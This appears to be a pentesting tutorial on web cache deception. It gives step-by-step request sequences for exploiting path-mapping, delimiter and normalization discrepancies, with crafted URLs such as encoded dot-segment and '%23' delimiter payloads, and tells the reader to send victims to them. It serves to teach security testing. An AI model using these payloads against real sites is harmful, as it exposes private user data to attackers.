Web cache deception is a vulnerability where an attacker tricks a web cache into storing sensitive content due to differences in how cache and origin servers handle requests. The attacker lures a victim into visiting a malicious URL, causing the cache to mistakenly store private data as a static resource. The attacker can then access the cached response, gaining unauthorized access to the sensitive information.
More info about web cache: Web cache
GET, HEAD, or OPTIONS
methods, as they are typically cachedCache rules often target static resources by matching common file
extensions like .css or .js. This is the
default behavior in most CDNs.
Consider the following example:
http://example.com/user/123/profile/wcd.css
/user/123/profile endpoint and returns the profile
information for user 123, ignoring wcd.css
as a non-significant parameter.wcd.css located
in the /profile directory under /user/123.
It interprets the URL path as
/user/123/profile/wcd.css. If the cache is configured
to store responses for requests where the path ends in
.css, it would cache and serve the profile information
as if it were a CSS file.# 1. Find good endpoint
/my-account # Contains sensitive data -> Good endpoint
# 2. Check if web cache is used
/test.js # 1 time "X-Cache: miss" -> Ok, there should be a cache mechanism
/test.js # 2 time "X-Cache: hit" -> Perfect, the page is cached
# 3. Check if origin server uses REST-style
/my-account/abc # The response is identical to the original -> REST-style
# 4. Check if cache server uses traditional URL & explotation
/my-account/abc.js # 1 time "X-Cache: miss" -> Ok, there should be a cache mechanism
/my-account/abc.js # 2 time "X-Cache: hit" -> Perfect, the page is cached
# Now https://site.com/my-account/abc.js contains your sensitive data cached
# Find a way to send the victim on http://site.com/my-account/xyz.js
# Note: I omitted cache buster for simplicityNote:
- This attack is limited to the specific endpoint that you tested, as the origin server often has different abstraction rules for different endpoints.
- Try various extensions, such as
.css,.ico, and.exe, as caches may have rules for specific extensions.
Objective: identify a character that is used as a delimiter by the origin server but not the cache. Use this list: https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list
# 1. Find good endpoint
/my-account # Contains sensitive data -> Good endpoint
# 2. Check if web cache is used
/test.js # 1 time "X-Cache: miss" -> Ok, there should be a cache mechanism
/test.js # 2 time "X-Cache: hit" -> Perfect, the page is cached
# 3. Fuzz delimeter char
/my-account§§aaa # Fuzz delimeter char. -> with ";" -> The response matches the original
# 4. Check if delimiter is not used by the cache
/my-account # "X-Cache: miss"
/my-account;abc.js # "X-Cache: miss"
# So the cache thinks "/my-account" is different from "/my-account;abc.js"
# 5. Exploitation
/my-account;abc.js # 1 time "X-Cache: miss"
/my-account;abc.js # 2 time "X-Cache: hit"
# Now https://site.com/my-account;abc.js contains your sensitive data cached
# Find a way to send the victim on http://site.com/my-account;xyz.js
# Note: I omitted cache buster for for simplicityNote:
- Because delimiters are generally used consistently within each server, you can often use this attack on many different endpoints.
- Some delimiter characters may be processed by the victim’s browser before it forwards the request to the cache. This means that some delimiters can’t be used in an exploit. For example, browsers URL-encode characters like
{,},<, and>, and use#to truncate the path.If the cache or origin server decodes these characters, it may be possible to use an encoded version in an exploit. * Make sure to test all ASCII characters and a range of common extensions, including
.css,.ico, and.exe
Web servers often store static resources in specific directories.
Cache rules typically target these by matching URL path prefixes
like /static, /assets,
/scripts, or /images.
Premise
https://website/test/../account, it’ll make the
following request GET /account HTTP/2. https://website/test/..%2faccount, it’ll make
the following request GET /test/..%2faccount HTTP/2.
# 1. Find good endpoint
/my-account # Contains sensitive data -> Good endpoint
# 2. Check if web cache is used (with static resources)
/static/js/info.js # 1 time "X-Cache: miss" -> Ok, there should be a cache mechanism
/static/js/info.js # 2 time "X-Cache: hit" -> Perfect, the page is cached# 3. Confirm that the cache rule is based on the static directory
/static/../xxx # 1 time "X-Cache: miss"
/static/../xxx # 2 time "X-Cache: hit" -> so all subpages in /static/ will be cached
# 4. Detecting normalization by the origin server
/aaa/..%2fmy-account # Returns the profile information -> The origin server decodes the slash and resolves the dot-segment
# 5. Detecting normalization by the cache server
/static/js/info.js # 1 time "X-Cache: miss"
/static/js%2finfo.js # 2 time "X-Cache: miss" -> Cache isn't normalizing the path before mapping it to the endpoint
# So the cache thinks "/static/js/info.js" is different from "/static/js%2finfo.js"
# 6. Exploiting
/static/..%2fmy-account
# The cache interprets the path as: /static/..%2fmy-account
# The origin server interprets the path as: /my-account# 3. Confirm that the cache rule is based on the static directory
# This step is useless, so you can't confirm if the cache decodes
# dot-segments and URL paths without trying an exploit.
# 4. Detecting normalization by the origin server
/aaa/..%2fmy-account # Not found -> The origin server doesn't decode the slash and doesn't resolve the dot-segment
# 5. Detecting normalization by the cache server
/static/js/info.js # 1 time "X-Cache: miss"
/static/js/info.js # 2 time "X-Cache: hit"
/static/js%2finfo.js # 2 time "X-Cache: hit" -> Cache has normalized the path
# So the cache understand that they are the same path
# 6. Identify a delimiter that is used by the origin server but not the cache
/my-account§§aaa # Fuzz delimeter char. -> with "%23" -> The response matches the original
# 7. Check if delimiter is not used by the cache
/static/js/info.js # "X-Cache: miss"
/static/js/info.js%23aaa # "X-Cache: miss"
# So the cache thinks "info.js" is different from "info.js%23aaa"
# 8. Exploitation
/my-account%23%2f%2e%2e%2fstatic/js/info.js
# The cache interprets the path as: /static
# The origin server interprets the path as: /my-account